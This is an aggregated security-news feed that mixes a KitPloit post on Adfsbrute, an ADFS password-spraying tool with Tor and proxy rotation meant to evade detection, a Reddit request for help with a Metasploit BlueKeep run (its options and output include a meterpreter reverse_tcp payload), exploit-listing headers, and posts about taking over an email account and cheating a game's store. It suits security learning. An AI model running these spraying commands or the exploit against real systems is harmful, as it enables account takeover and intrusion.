Cross Site Scripting — Where automated tools may fail you.

If you are reading this, you are probably already familiar with the basics of Cross site Scripting (XSS). If you arent, there are plenty…Continue reading on Medium »
Read more...

Cross Site Scripting — Where automated tools may fail you.
https://divadbate.medium.com/cross-site-scripting-where-automated-tools-may-fail-you-d77bc048c6bd?source=rss------bug_bounty-5

If you are reading this, you are probably already familiar with the basics of Cross site Scripting (XSS). If you arent, there are plenty…Continue reading on Medium » (https://divadbate.medium.com/cross-site-scripting-where-automated-tools-may-fail-you-d77bc048c6bd?source=rss------bug_bounty-5)

KitPloit - PenTest Tools!
Adfsbrute - A Script To Test Credentials Against Active Directory Federation Services (ADFS), Allowing Password Spraying Or Bruteforce Attacks

https://1.bp.blogspot.com/-JFZRsNrLGgM/YG0IoOgfncI/AAAAAAAAV2M/W2LFwl36oS8rk7ZzsmquaHPNum_CeQ3zACNcBGAsYHQ/w640-h608/adfsbrute_1_image1.png A script to test credentials against Active Directory Federation Services (ADFS), calculating the ADFS url of an organization and allowing password spraying or bruteforce attacks.

The main idea is carrying out password spraying attacks with a random and high delay between each test and using a list of proxies or Tor to make the detection by the Blue Team more difficult. Brute force attacks are also possible, or testing credentials with the format username:password (for example from Pwndb). Tested logins will get stored in a log file to avoid testing them twice. Usage./adfsbrute.py -t TARGET [-u USER] [-U USER_LIST] [-p PASSWORD] [-P PASSWORD_LIST] [-UL userpassword_list]
[-m MIN_TIME] [-M MAX_TIME] [-tp TOR_PASSWORD] [-pl PROXY_LIST] [-n NUMBER_OF_REQUESTS_PER_IP]
[-s STOP_ON_SUCCESS] [-r RANDOM_COMBINATIONS] [-d DEBUG] [-l LOG_FILE] The parameters for the attacks are: * -t: Target domain. Example: test.com

* -u: Single username. Example: agarcia@domain.com

* -U: File with a list of usernames. Example: users.txt

* -p: Single password: Example: Company123

* -P: File with a list of passwords. Example: passwords.txt

* -UP: File with a list of credentials in the format "username:password". Example: userpass.txt

* -m : Minimum value of random seconds to wait between each test. Default: 30

* -M : Maximum value of random seconds to wait between each test. Default: 60

* -tp: Tor password (change IP addresses using Tor)

* -pl: Use a proxy list (change IP addresses using a list of proxy IPs)

* -n: Number of requests before changing IP address (used with -tp or -pl). Default: 1

* -s: Stop on success, when one correct credential is found. Default: False

* -r: Randomize the combination of users and passwords. Default: True

* -d: Show d ebug messages. Default: True

* -l: Log file location with already tested credentials. Default: tested.txt ExamplesPassword spraying with password "Company123", tor password is "test123" and changing the IP every 3 requests: python3 adfsbrute.py -t company.com -U users.txt -p Company123 -tp test123 -n 3 https://1.bp.blogspot.com/-6R9zQjThy54/YG0IuDo9YfI/AAAAAAAAV2Q/v5BBhabaOY8-8A-BeDL3qTViJoT_hRzoQCNcBGAsYHQ/w640-h608/adfsbrute_1_image1.png Password spraying with password "Company123", tor password is "test123", changing the IP for every request, random delay time between 10 and 20 seconds and do not randomize the order of users: python3 adfsbrute.py -t company.com -U users.txt -p Company123 -tp test123 -m 10 -M 20 -r False https://1.bp.blogspot.com/-j_Porl04wdg/YG0I2JaU50I/AAAAAAAAV2U/CDVew02sdaMEEmfwf-P0Jnfc5VXjsARhQCNcBGAsYHQ/w634-h640/adfsbrute_2_image2.png Finding ADFS url: python3 adfsbrute.py -t company.com https://1.bp.blogspot.com/-m7u-Unl7BIA/YG0I8gucvVI/AAAAAAAAV2c/1c3Fu6f1TF4sIcVpzr2O5O5ry7o2aJg2QCNcBGAsYHQ/w640-h134/adfsbrute_3_image3.png Using TorTo use Tor to change the IP for every request, you must hash a password: tor --hash-password test123 In the file /etc/tor/torrc, uncomment the variable ControlPort and the variable HashedControlPassword, and in this last one add the hash: ControlPort 9051
HashedControlPassword 16:7F314CAB402A81F860B3EE449B743AEC0DED9F27FA41831737E2F08F87 Restart the tor service and use this password as argument for the script ("-tp test123" or "--tor_password 123") service tor restart NoteThis script is implemented to test in security audits, DO NOT use without proper authorization[...]

from the company owning the ADFS or you will block accounts. Download Adfsbrute

Where's the best place to find volunteers for charitable projects within the industry?
https://www.reddit.com/r/Pentesting/comments/mqs4ss/wheres_the_best_place_to_find_volunteers_for/

<!-- SC_OFF -->I'm a part of a volunteer team working on altruistic projects. Right now, we're looking at creating a digital "Free Resources" maps for the homeless around the world and are looking for more volunteers to make this initiative possible. Are there websites where we can post volunteer works and have people in the industry join us onboard? Also, if you're interested in this project and you want to participate in making the world a better place, you are free to join our team! Just message me for details. <!-- SC_ON --> submitted by /u/thatgirljxx (https://www.reddit.com/user/thatgirljxx)
[link] (https://www.reddit.com/r/Pentesting/comments/mqs4ss/wheres_the_best_place_to_find_volunteers_for/) [comments] (https://www.reddit.com/r/Pentesting/comments/mqs4ss/wheres_the_best_place_to_find_volunteers_for/)

Metasploit Bluekeep no session created
https://www.reddit.com/r/Pentesting/comments/mqt7df/metasploit_bluekeep_no_session_created/

<!-- SC_OFF -->Hi Folks, So I'm beating my head against this and looking for input. I have several confirmed Win 7 sp1 systems that are vulnerable to bluekeep. I'm running the latest build of kali with metasploit 5 in a VM on a win10 host. VM is bridged and replicating. Using the meterpreter reverse_tcp for payload, have tried a few others. Exploit completes but no session is created. What am I missing? Here's my config: msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show options Module options (exploit/windows/rdp/cve_2019_0708_bluekeep_rce): Name Current Setting Required Description ---- --------------- -------- ----------- RDP_CLIENT_IP 192.168.0.100 (https://192.168.0.100/)yes The client IPv4 address to report during connect RDP_CLIENT_NAME ethdev no The client computer name to report during connect, UNSET = random RDP_DOMAIN no The client domain name to report during connect RDP_USER no The username to report during connect, UNSET = random RHOSTS 192.168.100.5 (https://192.168.100.5/)yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' RPORT 3389 yes The target port (TCP) Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.81.182 (https://192.168.81.182/) yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 1 Windows 7 SP1 / 2008 R2 (6.1.7601 x64) msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run [*] Started reverse TCP handler on 192.168.81.182:4444 (https://192.168.81.182:4444/) [*] 192.168.100.5:3389 (https://192.168.100.5:3389/) - Using auxiliary/scanner/rdp/cve_2019_0708_bluekeep as check [+] 192.168.100.5:3389 (https://192.168.100.5:3389/)- The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel. [*] 192.168.100.5:3389 (https://192.168.100.5:3389/)- Scanned 1 of 1 hosts (100% complete) [*] 192.168.100.5:3389 (https://192.168.100.5:3389/) - Using CHUNK grooming strategy. Size 50MB, target address 0xfffffa8006a00000, Channel count 1. [!] 192.168.100.5:3389 (https://192.168.100.5:3389/) - <---------------- | Entering Danger Zone | ----------------> [*] 192.168.100.5:3389 (https://192.168.100.5:3389/) - Surfing channels ... [*] 192.168.100.5:3389 (https://192.168.100.5:3389/) - Lobbing eggs ... [*] 192.168.100.5:3389 (https://192.168.100.5:3389/) - Forcing the USE of FREE'd object ... [!] 192.168.100.5:3389 (https://192.168.100.5:3389/) - <---------------- | Leaving Danger Zone | ----------------> [*] Exploit completed, but no session was created. <!-- SC_ON --> submitted by /u/ruarchproton (https://www.reddit.com/user/ruarchproton)
[link] (https://www.reddit.com/r/Pentesting/comments/mqt7df/metasploit_bluekeep_no_session_created/) [comments] (https://www.reddit.com/r/Pentesting/comments/mqt7df/metasploit_bluekeep_no_session_created/)

Exploit Collector
jQuery 1.0.3 Cross Site Scripting

https://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png
jQuery version 1.0.3 suffers from a cross site scripting vulnerability.

MD5 | 179fd6b72dec05ab89308264840d7aa5

Download
# Exploit Title: jQuery 1.0.3 - Cross-Site Scripting (XSS)
# Date: 04/29/2020
# Exploit Author: Central InfoSec
# Version: jQuery versions greater than or equal to 1.0.3 and before 3.5.0
# CVE : CVE-2020-11023

# Proof of Concept 1:

Exploit Collector
Microsoft Windows SCM Remote Access Check Limit Bypass Privilege Escalation

https://4.bp.blogspot.com/-qWHV3SrNBkU/WWlu99WsXjI/AAAAAAAAIJ4/a1ff3k5st1g65kjfNuwTJpgcbLEB4bHEACLcBGAs/s1600/h116.png
The access limit check for non-local admins when accessing the SCM remotely can be bypassed by requesting MAXIMUM_ALLOWED, leading to gaining access to start services etc.

MD5 | 281e52fe6059770b5acb2e965164e4a3

Download
Source:packetstormsecurity.com

Exploit Collector
jQuery 1.2 Cross Site Scripting

https://3.bp.blogspot.com/-sRAbWielMtM/WWlvVvmDA-I/AAAAAAAAIN8/PunzJUFKKskcHl_zTOrA6xP6ETTvhbejQCLcBGAs/s1600/h46.png
jQuery version 1.2 suffers from a cross site scripting vulnerability.

MD5 | f6880c94004df62f5be9b507d04e021f

Download
# Exploit Title: jQuery 1.2 - Cross-Site Scripting (XSS)
# Date: 04/29/2020
# Exploit Author: Central InfoSec
# Version: jQuery versions greater than or equal to 1.2 and before 3.5.0
# CVE : CVE-2020-11022

# Proof of Concept 1:

Source:packetstormsecurity.com

hacking: security in practice
How to get my email back

Lost my email to someone , I know old password, but I need the security codes from said person phone but I don't have access to them because he's unreachable

submitted by /u/lucian_florin3
[link] [comments]

hacking: security in practice
I tried altering the values of a game's code. Did not get anything but "layout" modifications. Can I make it work so I get the full experience?

Just as said in the title, I tried to alter a few values of a mobile game in its coding Blueprints via QuickEdit and ZArchiver. All in all it works for "damage purposes" as characters hit harder and so on.

But when regarding store purchases (even those that do not involve irl money) I did change the currency needed or the drops in the cases but it just "loads" and the purchases never go through.

I reached a "folder" which had a lot of bugged characters as well as random lettering and numbers.

Is there a way to decypher this? When I tried copying from my phone/emulator in the pc to a word/.txt doc, the bugs persisted or even were enhanced.

Just wanted to know if there is any way to bypass those loading screens and alter the pulls somehow. Do I need to be offline to bypass the server or anything? Thx.

I can link the game, in game screenshots of the before and afters... Anything you need.

Thx guys!

submitted by /u/ii_HBK_ii
[link] [comments]

hacking: security in practice
PHP malicious code - Why does he do it like that?

A friend's website was 'hacked' and his webhosting provider then temporarily blocked the webhosting contract and made the data available to him. He then found this suspicious code snippet:
<?php/u/ctrl-Felix
[link] [comments]

Kali Linux Tutorials
Maigret : OSINT Username Checker

Purpose of Maigret – collect a dossier on a person by username only, checking for accounts on a huge number of sites. This is a sherlock fork with cool features under heavy development. Don’t forget to regularly update source code from repo. Currently supported more than 2000 sites (full list), by default search is launched […]

The post Maigret : OSINT Username Checker appeared first on Kali Linux Tutorials.